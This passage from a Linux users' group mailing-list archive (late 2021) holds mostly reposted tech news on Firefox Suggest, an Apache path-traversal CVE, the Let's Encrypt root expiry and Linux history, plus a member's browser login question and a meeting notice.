- wlug - list.wlug.org.nz

I can't log into trademe and entering an URL dosen't work
by Michelle 10 Oct '21

10 Oct '21

Hi, I bought on disc the new version of Manjaro Plasma 64 bit KDE because the old Manjaro Illyria 18.0 64 bit I was using stopped working with various things. The new one won't allow me to log into tradme. I enter my email and password and it won't work just like the old one wouldn't. Plasma allows me to see pictures on tumblr whereas the old one stopped allowing that about 2 months ago. And youtube still works. But the new one has another big problem. For security issues I run a computer off a DVD and have no hard drive. When I want to go into any site that requires a password like email or trademe, this is what I do. I boot up, I pull up firefox, I type in the URL for trademe or what have you, and press enter, then and only then do I connect to the internet and click to 'retry' that site and then once at the site the first thing I do is log in. But this new Plasma won't allow me to do that. So could I please have some suggestions for two things: How to make this new one work in those two circumstances AND/OR Some specific names of Operating Systems that will actually allow logging into trademe and will allow URL's to be typed in. Thanks for any help.

3 11

Firefox Now Sends Your Address Bar Keystrokes To Mozilla
by Peter Reutemann 10 Oct '21

10 Oct '21

'How-To Geek reports: Firefox now sends more data than you might think to Mozilla. To power Firefox Suggest, Firefox sends the keystrokes you type into your address bar, your location information, and more to Mozilla's servers. Here's exactly what Firefox is sharing and how to control it. This change was made as part of the introduction of Firefox Suggest in Firefox 93, released on October 5, 2021. As part of Firefox Suggest, Firefox is getting ads in your search bar -- but that's not the only thing that will be news to longtime Firefox users. According to Mozilla, "Firefox Suggest acts as a trustworthy guide to the better web, surfacing relevant information and sites to help people accomplish their goals." In reality, what that means is, when you start typing in your address bar, you won't just see the standard search suggestions from Google or your current search default engine. You'll also see "Firefox Suggest" results pointing to web pages. Some of them are sponsored ads, but you can disable the ads. Firefox Suggest is on by default. Mozilla's blog post on the subject says Firefox Suggest is an "opt-in experience," which was the case in September 2021 -- but it's now enabled by default in Firefox 93. However, as of Firefox 93's release in October 2021, Firefox Suggest is only enabled in the USA -- for now. It's worth noting that, for many years, Firefox and other web browsers have had search suggestions in their address bar. So, when you start typing "win" in your address bar, you may see suggestions for "Windows 11" and "Window repair." This is accomplished by sending keystrokes to your default search engine as you type in the search bar, as Mozilla's support site explains. Mozilla is also providing contextual suggestions, for which it needs more data, including the city you're located in and whether you're clicking its suggestions. You can disable Firefox's suggested results, if you like. This will stop Mozilla from collecting the data you type in your search bar, and it will also disable the suggested results and ads. To do so, open Firefox and click menu [and then] Settings. Select "Privacy [and] Security" in the left pane, and scroll down to "Address Bar -- Firefox Suggest." Disable "Contextual suggestions" and "Include occasional sponsored suggestions" to stop Firefox from sending data to Mozilla.' -- source: https://news.slashdot.org/story/21/10/08/2225217 I saw that "Firefox suggest" popping up with the latest 93 as well and, when I tried to turn it off, didn't find the "Firefox suggest" option in the settings dialog that got mentioned in various articles. Something that p...ed me off somewhat... However, looking through the slashdot comments, I came across this github gist called "Silent Firefox": https://gist.github.com/AetherEternity/5a6bb6e493a3d34988fc7342013f2ea6 The top of the file lists where to place this "user.js" file. NB: You might already have such a file, so check before you overwrite it... Personally, I like suggestions from my history (which is turned off in this gist, key: "browser.urlbar.suggest.history"), so I forked the gist and enabled it: https://gist.github.com/fracpete/408ce83d3ce48f9f95b2fea30ddf5403 I'm not particularly fond of this move by Mozilla, but at least you can still tweak its browser (though it's become harder for non-technical people). Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Firefox Now Shows Ads As Sponsored Address Bar Suggestions
by Peter Reutemann 08 Oct '21

08 Oct '21

'Mozilla is now showing ads in the form of sponsored Firefox contextual suggestions when U.S. users type in the URL address bar. Mozilla says the feature was introduced with Firefox 92 in September to fund development and optimization. Mozilla describes Firefox Suggest contextual suggestions as opt-in, in BleepingComputer's tests and from what users have reported, the feature is on by default. Furthermore, Firefox doesn't tag the ads displayed via Firefox Suggest. There is no clear way to identify what a sponsored suggestion and what a regular unsponsored suggestion should look like. The only way Firefox users will know whether a sponsored suggestion is an ad would be by looking at the URL, but, in many cases, the URL is not clearly visible.' -- source: https://news.slashdot.org/story/21/10/07/1844254 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Apache Fixes Actively Exploited Web Server Zero-day
by Peter Reutemann 06 Oct '21

06 Oct '21

'The Apache Software Foundation has released a security patch to address a vulnerability in its HTTP Web Server project that has been actively exploited in the wild. From a report: Tracked as CVE-2021-41773, the vulnerability affects only Apache web servers running version 2.4.49 and occurs because of a bug in how the Apache server converts between different URL path schemes (a process called path or URI normalization). "An attacker could use a path traversal attack to map URLs to files outside the expected document root," the ASF team said in the Apache HTTP Server 2.4.50 changelog. "If files outside of the document root are not protected by 'require all denied' these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts," Apache engineers added. More than 120,000 servers currently exposed online to attacks.' -- source: https://apache.slashdot.org/story/21/10/05/1538213 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Company That Routes Billions of Text Messages Quietly Discloses It Was Hacked
by Peter Reutemann 05 Oct '21

05 Oct '21

'A company that is a critical part of the global telecommunications infrastructure used by AT&T, T-Mobile, Verizon and several others around the world such as Vodafone and China Mobile, quietly disclosed that hackers were inside its systems for years, impacting more than 200 of its clients and potentially millions of cellphone users worldwide. From a report: The company, Syniverse, revealed in a filing dated September 27 with the U.S. Security and Exchange Commission that an unknown "individual or organization gained unauthorized access to databases within its network on several occasions, and that login information allowing access to or from its Electronic Data Transfer (EDT) environment was compromised for approximately 235 of its customers." A former Syniverse employee who worked on the EDT systems told Motherboard that those systems have information on all types of call records. [...] The company wrote that it discovered the breach in May 2021, but that the hack began in May of 2016.' -- source: https://tech.slashdot.org/story/21/10/04/1827246 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linus Torvalds On Community, Rust and Linux's Longevity
by Peter Reutemann 04 Oct '21

04 Oct '21

'This week saw the annual check-in with Linux creator Linus Torvalds at the Open Source Summit North America, this year held in Seattle (as well as virtually). Torvalds took the stage for the event's traditional half-hour of questions from Dirk Hohndel, an early Linux contributor (now also the chief open source officer and vice president at VMware) in an afternoon keynote session.... And the theme of community seemed to keep coming up — notably about what that community has ultimately taught Linus Torvalds. (For example, while Torvalds said he'd originally planned on naming the operating system Freax, "I am eternally grateful for two other people for having more taste than I did.") But even then Linux was a project that "I probably would've left behind," Torvalds remembered, "if it was only up to me." Torvalds credits the larger community for its interest (and patches) "that just kept the motivation going. And here we are 30 years later, and it's still what keeps the motivation going. Because as far as I'm concerned, it's been done for 29 of those 30 years, and every single feature ever since has been about things that other people needed or wanted or were interested in." Torvalds also says "I'm very proud of the fact that there's actually a fair number of people still involved with the kernel that came in in 1991 — I mean, literally 30 years ago.... I think that's a testament to how good the community, on the whole, has been, and how much fun it's been." And Torvalds says you can see that sense of fun in discussions about writing some Linux kernel modules using Rust. "From a technical angle, does that make sense?" Torvalds asked. "Who knows. That's not the point. The point is for a project to stay interesting — and to stay fun — you have to play with it.... "Probably next year, we'll start seeing some first intrepid modules being written in Rust, and maybe being integrated in the mainline kernel." "I really love C," Torvalds said at one point. "I think C is a great language, and C is, to me, is really a way to control the hardware at a fairly low level..." Yet Torvalds also saw Hohndel's analogy that it can be like juggling chainsaws. As a long-time watcher of C, Torvalds knows that C's subtle type interactions "are not always logical" and "are pitfalls for pretty much anybody. And they're easy to overlook, and in the kernel that's not always a good thing." Torvalds called Rust "the first language I saw which looked like this might actually be a solution"' -- source: https://linux.slashdot.org/story/21/10/02/004213 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Millions Experience Browser Problems After Long-Anticipated Expiration of 'Let's Encrypt' Certificate
by Peter Reutemann 04 Oct '21

04 Oct '21

'"The expiration of a key digital encryption service on Thursday sent major tech companies nationwide scrambling to deal with internet outages that affected millions of online users," reports the Washington Examiner. The expiring certificate was issued by Let's Encrypt — though ZDNet notes there's been lots of warnings about its pending expiration: Digital Shadows senior cyber threat analyst Sean Nikkel told ZDNet that Let's Encrypt put everyone on notice back in May about the expiration of the Root CA Thursday and offered alternatives and workarounds to ensure that devices would not be affected during the changeover. They have also kept a running forum thread open on this issue with fairly quick responses, Nikkel added. Thursday night the Washington Examiner describes what happened when the big day arrived: Tech giants — such as Amazon, Google, Microsoft, and Cisco, as well as many smaller tech companies — were still battling with an endless array of issues by the end of the night... At least 2 million people have seen an error message on their phones, computers, or smart gadgets in the past 24 hours detailing some internet connectivity problems due to the certificate issue, according to Scott Helme, an internet security researcher and well-known cybersecurity expert. "So many people have been affected, even if it's only the inconvenience of not being able to visit certain websites or some of their apps not working," Helme said. "This issue has been going on for many hours, and some companies are only just getting around to fixing it, even big companies with a lot of resources. It's clearly not going smoothly," he added. There was an expectation before the certificate expired, Helme said, that the problem would be limited to gadgets and devices bought before 2017 that use the Let's Encrypt digital certificate and haven't updated their software. However, many users faced issues on Thursday despite having the most cutting-edge devices and software on hand. Dozens of major tech products and services have been significantly affected by the certificate expiration, such as cloud computing services for Amazon, Google, and Microsoft; IT and cloud security services for Cisco; sellers unable to log in on Shopify; games on RocketLeague; and workflows on Monday.com. Security researcher Scott Helme also told ZDNet he'd also confirmed issues at many other companies, including Guardian Firewall, Auth0, QuickBooks, and Heroku — but there might be many more beyond that: "For the affected companies, it's not like everything is down, but they're certainly having service issues and have incidents open with staff working to resolve. In many ways, I've been talking about this for over a year since it last happened, but it's a difficult problem to identify. it's like looking for something that could cause a fire: it's really obvious when you can see the smoke...!" Digital certificates expert Tim Callan added that the popularity of DevOps-friendly architectures like containerization, virtualization and cloud has greatly increased the number of certificates the enterprise needs while radically decreasing their average lifespan. "That means many more expiration events, much more administration time required, and greatly increased risk of a failed renewal," he said. ' -- source: https://it.slashdot.org/story/21/10/02/2318202 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

FSF Announces 'JShelter' Browser Privacy Extension to Block Fingerprinting, Tracking, and Malware
by Peter Reutemann 04 Oct '21

04 Oct '21

'This week the Free Software Foundation (FSF) announced JShelter, "an anti-malware Web browser extension to mitigate potential threats from JavaScript, including fingerprinting, tracking, and data collection." The browser add-on — supported by NLnet Foundation's Next Generation Internet (NGI) Zero Privacy & Trust Enhancing Technologies fund — is currently "in development and the first release is available." This browser add-on will limit the potential for JavaScript programs to do harmful actions by restricting default behavior and adding a layer of control... Accessing cookies, performing fingerprinting to track users across multiple sites, revealing the local network address, or capturing the user's input before they submit a form are some examples of JavaScript's capabilities that can be used in harmful ways. JShelter adds a safety layer that allows the user to choose if a certain action should be forbidden on a site, or if it should be allowed with restrictions, such as reducing the accuracy of geolocation to the city area. This layer can also aid as a countermeasure against attacks targeting the browser, operating system, or hardware levels... [The extension] will ask — globally or per site — if specific native functions provided by the JavaScript engine and the Document Object Model (DOM) are allowed by the user. It will also link to an explanatory page for each function, to raise awareness of related threats. Depending on the function being addressed, the user will have the option to allow it, block it, or have it return a custom value... "Our browsers have become perhaps the most critical of tools we depend on, and yet the browser environment is far from healthy," says Michiel Leenaars, director of strategy at NLnet Foundation and coordinator of NGI Zero. "Dominant corporate behavior from a small amount of actors has been aggressively reshaping the evolution of the Web, and that is starting to wreak havoc. Despite an enormous systemic dependency, we as users have very little control over what browsers allow and share — leading to significant risk as the most powerful tools in the shed are essentially left unprotected for every casual Web site to abuse. JShelter is a great initiative to help empower us all, to help us gain better understanding and to better safeguard ourselves from obvious and otherwise unavoidable harm." The effort is part of a larger, multi-year campaign from FSF on JavaScript on the Web started in 2013, which among others includes the development of GNU LibreJS and outreach to users and developers about nonfree software inside the browser. The GNU LibreJS extension detects JavaScript web labels and assists users with running only JavaScript distributed under a free software license, according to their ethical convictions and individual preferences. "JShelter will help protect users from critical threats now, and contribute significantly to progress on the necessary longer-term cultural shift of moving away from nonfree JavaScript," said Ruben Rodriguez, former FSF chief technology officer. "This is a project I've been looking forward to for years, tired of dealing with all kinds of potential antifeatures in the browsers I use and distribute, and having to figure out some countermeasure for them with configuration changes, patches or extensions. Being able to wrap the JavaScript engine in a layer of protection is a game changer."' -- source: https://news.slashdot.org/story/21/10/03/0150251 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Let's Encrypt's Root Certificate is expiring!
by Peter Reutemann 01 Oct '21

01 Oct '21

'On 30th September 2021, the root certificate that Let's Encrypt are currently using, the IdentTrust DST Root CA X3 certificate, will expire. You may or may not need to do anything about this Root CA expiring, but I'm betting a few things will probably break on that day so here's what you need to know!' -- source: https://scotthelme.co.uk/lets-encrypt-old-root-expiration/ Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

3 3

People Will Pay For Privacy, And Take Rewards To Give It Up
by Lawrence D'Oliveiro 01 Oct '21

01 Oct '21

British consumer magazine “Which?” has published the results of a survey <https://www.theregister.com/2021/09/30/which_data_survey/> which found that people would pay companies like Google and Facebook an average of £1.09 a month to avoid collection of their personal data and its use for targeted advertising. On the other hand, while a quarter of people were happy to receive targeted advertising to begin with, that proportion went up quite substantially if a basic reward like an Amazon voucher were offered.

1 0

Social Media Companies Can’t Be Trusted To Police Themselves -- Who Knew?
by Lawrence D'Oliveiro 29 Sep '21

29 Sep '21

>From a hearing at the US House of Representatives <https://www.theregister.com/2021/09/29/facebook_research_congress/> which received submissions from academics trying to study Facebook’s effect on its users in the face of active hostility from the company: “Tobacco companies don't get to decide who does research on smoking and the idea that social media companies get to decide who studies them is perverse.” -- Laura Edelson

1 0

With HTTPS Everywhere, EFF Begins Plans to Eventually Deprecate 'HTTPS Everywhere' Extension
by Peter Reutemann 27 Sep '21

27 Sep '21

'The Record reports: The Electronic Frontier Foundation said it is preparing to retire the famous HTTPS Everywhere browser extension after HTTPS adoption has picked up and after several web browsers have introduced HTTPS-only modes." "After the end of this year, the extension will be in 'maintenance mode' for 2022," said Alexis Hancock, Director of Engineering at the EFF. Maintenance mode means the extension will receive minor bug fixes next year but no new features or further development. No official end-of-life date has been decided, a date after which no updates will be provided for the extension whatsoever. Launched in June 2010, the HTTPS Everywhere browser extension is one of the most successful browser extensions ever released. The extension worked by automatically switching web connections from HTTP to HTTPS if websites had an HTTPS option available. At the time it was released, it helped upgrade site connections to HTTPS when users clicked on HTTP links or typed domains in their browser without specifying the "https://" prefix. The extension reached cult status among privacy advocates and was integrated into the Tor Browser and, after that, in many other privacy-conscious browsers. But since 2010, HTTPS is not a fringe technology anymore. Currently, around 86.6% of all internet sites support HTTPS connections. Browser makers such as Chrome and Mozilla previously reported that HTTPS traffic usually accounts for 90% to 95% of their daily connections. >From EFF's announcement: The goal of HTTPS Everywhere was always to become redundant. That would mean we'd achieved our larger goal: a world where HTTPS is so broadly available and accessible that users no longer need an extra browser extension to get it. Now that world is closer than ever, with mainstream browsers offering native support for an HTTPS-only mode. With these simple settings available, EFF is preparing to deprecate the HTTPS Everywhere web extension as we look to new frontiers of secure protocols like SSL/TLS... We know many different kinds of users have this tool installed, and want to give our partners and users the needed time to transition. The announcement also promises to inform users of browser-native HTTPS-only options before the day when the extension reaches its final sunsetting — and ends with instructions for how to activate the native HTTPS-only features in Firefox, Chrome, Edge, and Safari, "and celebrate with us that HTTPS is truly everywhere for users."' -- source: https://it.slashdot.org/story/21/09/27/008226 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linus Torvalds Recognizes Linux's 'True' 30th Anniversary Date
by Peter Reutemann 26 Sep '21

26 Sep '21

'While it's been argued that Linux has four different "birthdays," last Friday saw the 30th anniversary of Linux's very, very first release — version 0.01. That special first release "was never publicly announced, and I only emailed a handful of people in private about the upload," Torvalds remembered on the Linux kernel mailing list. He no longer has copies of those announcement emails, "so there's no real record of that. The only record of the date is in the Linux-0.01 tar-file itself, I suspect." "Alas, the dates in that tar-file are for the last modification dates, not the actual creation of the tar-file," Torvalds wrote, "but it does seem to have happened around 7:30pm (Finnish time), so the exact anniversary was technically a couple of hours ago." So when the exact moment arrived for its 30th anniversary, Torvalds couldn't resist sharing the moment on the Linux kernel mailing list. "Just thought I'd mention it, since while unannounced, in many ways this is the true 30th anniversary date of the actual code."' -- source: https://linux.slashdot.org/story/21/09/25/0333233 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

meeting tomorrow
by Peter Reutemann 26 Sep '21

26 Sep '21

Hi everyone Apologies for the late reminder, things have been a bit hectic at my end... We have a "virtual" meeting tomorrow: "Peter Reutemann will demo Syncthing (https://syncthing.net/) a continuous file synchronization program. It synchronizes files between two or more computers in real time, respecting your privacy. Runs on Linux, Windows, Mac and Android among other platforms." Details: https://www.meetup.com/WaikatoLinuxUsersGroup/events/274861089/ Meeting link will be available to people that RSVP on meetup.com. Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

First RISC-V Computer Chip Lands At the European Processor Initiative
by Peter Reutemann 23 Sep '21

23 Sep '21

'The Register reports: The European Processor Initiative (EPI) has run the successful first test of its RISC-V-based European Processor Accelerator (EPAC), touting it as the initial step towards homegrown supercomputing hardware. EPI, launched back in 2018, aims to increase the independence of Europe's supercomputing industry from foreign technology companies. At its heart is the adoption of the free and open-source RISC-V instruction set architecture for the development and production of high-performance chips within Europe's borders. The project's latest milestone is the delivery of 143 samples of EPAC chips, accelerators designed for high-performance computing applications and built around the free and open-source RISC-V instruction set architecture. Designed to prove the processor's design, the 22nm test chips -- fabbed at GlobalFoundries, the not-terribly-European semiconductor manufacturer spun out of AMD back in 2009 -- have passed initial testing, running a bare-metal "hello, world" program as proof of life. It's a rapid turnaround. The EPAC design was proven on FPGA in March and the project announced silicon tape-out for the test chips in June -- hitting a 26.97mm2 area with 14 million placeable instances, equivalent to 93 million gates, including 991 memory instances. While the FPGA variant, which implemented a subset of the functions of the full EPAC design, was shown booting a Linux operating system, the physical test chips have so far only been tested with basic bare-metal workloads -- leaving plenty of work to be done. Earlier today, the UK government released its 10-year plan to make the country a global "artificial intelligence superpower," seeking to rival the likes of the U.S. and China. "The so-called 'National Artificial Intelligence Strategy' is designed to boost the use of AI among the nation's businesses, attract international investment into British AI companies and develop the next generation of homegrown tech talent," reports CNBC.' -- source: https://hardware.slashdot.org/story/21/09/22/2057258 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Security audit raises severe warnings on Chinese smartphone model
by Peter Reutemann 23 Sep '21

23 Sep '21

'The Lithuanian National Cyber Security Centre (NCSC) recently published a security assessment of three recent-model Chinese-made smartphones—Huawei's P40 5G, Xiaomi's Mi 10T 5G, and OnePlus' 8T 5G. Sufficiently determined US shoppers can find the P40 5G on Amazon and the Mi 10T 5G on Walmart.com—but we will not be providing direct links to those phones, given the results of the NCSC's security audit. The Xiaomi phone includes software modules specifically designed to leak data to Chinese authorities and to censor media related to topics the Chinese government considers sensitive. The Huawei phone replaces the standard Google Play application store with third-party substitutes the NCSC found to harbor sketchy, potentially malicious repackaging of common applications. The OnePlus 8T 5G—arguably, the best-known and most widely marketed phone of the three—was the only one to escape the NCSC's scrutiny without any red flags raised.' -- source: https://arstechnica.com/information-technology/2021/09/security-audit-raise… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google Finally Shifting To 'Upstream First' Linux Kernel Approach For Android Features
by Peter Reutemann 23 Sep '21

23 Sep '21

'Phoronix reports: Google's Android had been notorious for all of its downstream patches carried by the mobile operating system as well as various vendor/device kernel trees while in recent years more of that code has been upstreamed. Google has also been shifting to the Android Generic Kernel Image (GKI) as the basis for all their product kernels to further reduce the fragmentation. Looking ahead, Google is now talking of an "upstream first" approach for pushing new kernel features into mainline Linux before deploying them on Android. Google's Todd Kjos talked today during Linux Plumbers Conference (LPC2021) around their Generic Kernel Image initiative. With Android 12 and their Linux 5.10 based GKI image they have further cut down the fragmentation to the extent that it's "nearly eliminated." With the Android 12 GKI, most of the vendor/OEM kernel features have now either been upstreamed into the Linux kernel, isolated to vendor modules/hooks, or merged into the Android Common Kernel. They are making good progress on the GKI front and also ensuring vendors adapt to the new approach to cut down on the kernel mess. But perhaps most exciting is their outlook for 2023 to 2024 for further reducing technical debt. They are going to pursue an "upstream first development model for new features" in making sure new code first lands into the mainline Linux kernel rather than aiming straight for lodging within the Android source tree. ' -- source: https://tech.slashdot.org/story/21/09/22/1920258 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Upcoming NAS workshop
by 51miked 22 Sep '21

22 Sep '21

Anyone interested in a NAS workshop can register at: https://www.qnap.com/static/landing/en-us/workshop/workshop-09.html. I’ve found these very informative. Michael -- Kind regards Michael

2 2

Ubuntu 14.04 and 16.04 Each Get a Decade of Support from Canonical
by Peter Reutemann 22 Sep '21

22 Sep '21

'Canonical has announced that it is extending the life of Ubuntu 14.04 and 16.04 to a decade. BetaNews: In other words, Ubuntu 14.04 and 16.04 are getting longer Extended Security Maintenance (ESM) periods as Canonical pushes back their End of Life (EoL) dates. The former will now get security updates until 2024, while the latter will receive them until 2026. "This lifecycle extension enables organizations to balance their infrastructure upgrade costs, by giving them additional time to implement their upgrade plan. The prolonged Extended Security Maintenance (ESM) phase of Ubuntu 14.04 LTS and 16.04 LTS enables a secure and low-maintenance infrastructure with security updates and kernel livepatches provided by Canonical. The announcement represents a significant opportunity for the organizations currently implementing their transition to new applications and technologies," says Canonical.' -- source: https://linux.slashdot.org/story/21/09/21/1443254 That could help IoT devices to stay up to date for longer (at least OS-wise). Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Over-Elaborate Shell Scripting
by Lawrence D'Oliveiro 21 Sep '21

21 Sep '21

When using a computer, laziness is a virtue. This is why we have command lines, to help automate the boring and repetitive tasks. This article <https://arstechnica.com/gadgets/2021/09/command-line-wizardry-part-two-vari…> continues the author’s intro to basic command-line concepts. But it repeats a failing I see all too often in shell scripting: doing complex parsing of the output of some command, when the command itself offers an option to produce something closer to the exact output you need. In this case, he is extracting the names of datasets from the “zfs list” command. And while I have zero experience with ZFS, I can look at documentation <https://docs.oracle.com/cd/E18752_01/html/819-5461/gazsu.html>, and discover that the command offers the “-o” option where you can select exactly that information you want it to output. It even has “-H” to simplify the output format right down, specifically to make it easier to parse. Sure, it’s fun to write code. But it can be even more fun to _avoid_ writing code. RTFM helps.

2 3

Linux Foundation Survey Shows Companies Desperate To Hire Open-Source Talent
by Peter Reutemann 21 Sep '21

21 Sep '21

'ZDNet reports: At the Open Source Summit in Seattle, The Linux Foundation, and edX, the leading massive open online course (MOOC) provider released the 2021 Open Source Jobs Report. In this survey of 200 technical hiring managers and 750 open-source pros, the organizations found more demand for top open-source workers than ever. On top of that, 92% of managers are having trouble finding enough talent and many of them are also having fits holding on to their existing senior open-source staffers. In short, if you've got open-source skills, whether you're a developer, a sysadmin, a DevOps expert, or a cloud-native pro, there's a good-paying job waiting for you out there. And, where before the Covid-19 pandemic, you might have been stuck with only jobs in your area, these days, thanks to the rise of working from home, you can still live at the old homestead instead of moving to Silicon Valley or Manhattan. On top of this 50% of employers surveyed stated they are increasing hires this year. The jobs are out there. The difficulty for companies is, as 92% of managers report, finding enough talent and hanging onto existing talent in the face of fierce competition. This is especially true for cloud-native application development and operations skills. Cloud-native tops the list of skills needed with over 46% of hiring managers looking for people with Kubernetes smarts. Indeed, for the first time in the survey's history, cloud and container technology skills are more in demand by hiring managers than Linux. Indeed, cloud and container skills rank far above Linux in this go around with 41% over 32%. [T]he survey also found that DevOps has become the standard method for developing software: Virtually all open-source professionals (88%) report using DevOps practices in their work, a 50% increase from three years ago. In other words, it's all DevOps all the time. "The survey also revealed that a majority of employers, 88%, now say that hiring certified professionals is a priority," the report adds. "That's an 87% increase in only three years, 57% in 2020, and 47% in 2018." Sadly, discrimination has also become more of an issue. "18% of open-source professionals now report they have been discriminated against or made to feel unwelcome in the community," the report says. "That's a 125% increase over the past three years."' -- source: https://news.slashdot.org/story/21/09/20/2031215 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Home Computing Pioneer Sir Clive Sinclair Dies Aged 81
by Peter Reutemann 20 Sep '21

20 Sep '21

'Sir Clive Sinclair, the man behind the Sinclair Spectrum and the first computer to retail for under a hundred dollars (the Sinclair ZX-81, A.K.A. The Timex/Sinclair 1000), died September 15 after battling a long illness. His daughter, Belinda, said he died at home in London on Thursday morning after a long illness. Sinclair invented the pocket calculator but was best known for popularising the home computer, bringing it to British high-street stores at relatively affordable prices. Many modern-day titans of the games industry got their start on one of his ZX models. For a certain generation of gamer, the computer of choice was either the ZX Spectrum 48K or its rival, the Commodore 64. Belinda Sinclair, 57, told the Guardian: "He was a rather amazing person. Of course, he was so clever and he was always interested in everything. My daughter and her husband are engineers so he'd be chatting engineering with them." He left school at 17 and worked for four years as a technical journalist to raise funds to found Sinclair Radionics.' -- source: https://news.slashdot.org/story/21/09/16/1936235 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 3

Mozilla Experiment: Set Default Search Engine to Bing for 1% of Firefox Users
by Peter Reutemann 20 Sep '21

20 Sep '21

'"Mozilla is running an experiment on 1% of the Firefox desktop population currently, which sets the default search engine to Bing in the web browser," reports Ghacks: [I]n most regions, it is Google Search. Mozilla and Google extended the search deal in 2020 for another three years. Google is paying Mozilla "between $400 and $450 million per year" so that its search engine is the default in Firefox in most regions. Google has been Firefox's default search engine since 2017, when Mozilla ended its search deal with Yahoo early. Firefox users may change the default search engine to one of the other engines that are included by default, or an engine that is not included but can be added... The study started on September 6 and it will run until early 2022, likely January 2022. About 1% of Firefox desktop users may notice that the default search engine is changed when the installation of Firefox is picked for the experiment. Tip: load about:studies in the Firefox address bar to list the studies that the browser us currently taking part in and has completed already. Firefox users who don't want to participate in studies can disable the preference "Allow Firefox to install and run studies" on about:preferences#privacy. ' -- source: https://news.slashdot.org/story/21/09/18/1914227 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Is 2021 The Year of the Linux Desktop?
by Peter Reutemann 20 Sep '21

20 Sep '21

'"2021 Is the Year of Linux on the Desktop," writes PC Magazine. "No, really..." Walk into any school now, and you'll see millions of Linux machines. They're called Chromebooks. For a free project launched 30 years ago today by one man in his spare time, it's an amazing feat.... Linux found its real niche — not as a political statement about "free software," but as a practical way to enable capable, low-cost machines for millions... Chrome OS and Android are both based on the Linux kernel. They don't have the extra GNU software that distributions like Ubuntu have, but they're descended from Linus Torvalds' original work. Chromebooks are the fastest growing segment of the traditional PC market, according to Canalys. IDC points out that Canalys' estimates of 12 million Chromebooks shipped in Q1 2021 are only a fraction of the 63 million notebooks sold that quarter, but once again, they're where the growth is. Much of that is driven by schools, where Chromebooks dominate now. Schoolkids don't generally need a million apps' worth of generic computing power. They need inexpensive, rugged ways to log into Google Classroom. Linux came to the rescue, enabling cheap, light, easy-to-manage PCs that don't have the Swiss Army Knife cruft of Windows or the premium price of Macs... One great thing about open-source hacker projects is that they can be taken in unexpected directions. Linux isn't controlled, so it can adapt, Darwinian-style. It was a little scurrying mammal in the time of the dinosaurs, and then the mobile-computing asteroid hit. Linux could evolve. Windows couldn't. When you're building something that fits in your hand and has to sip battery, you can't just keep throwing processors and storage at it. Microsoft had a tough time adapting its monstrous megakernel OS to the new, tiny world. But *nix platforms thrive there: Android (based on Linux) and iOS. "Android and Chrome water down the Linux philosophy," the article argues, "but they are Linux..." Does this make any long-time 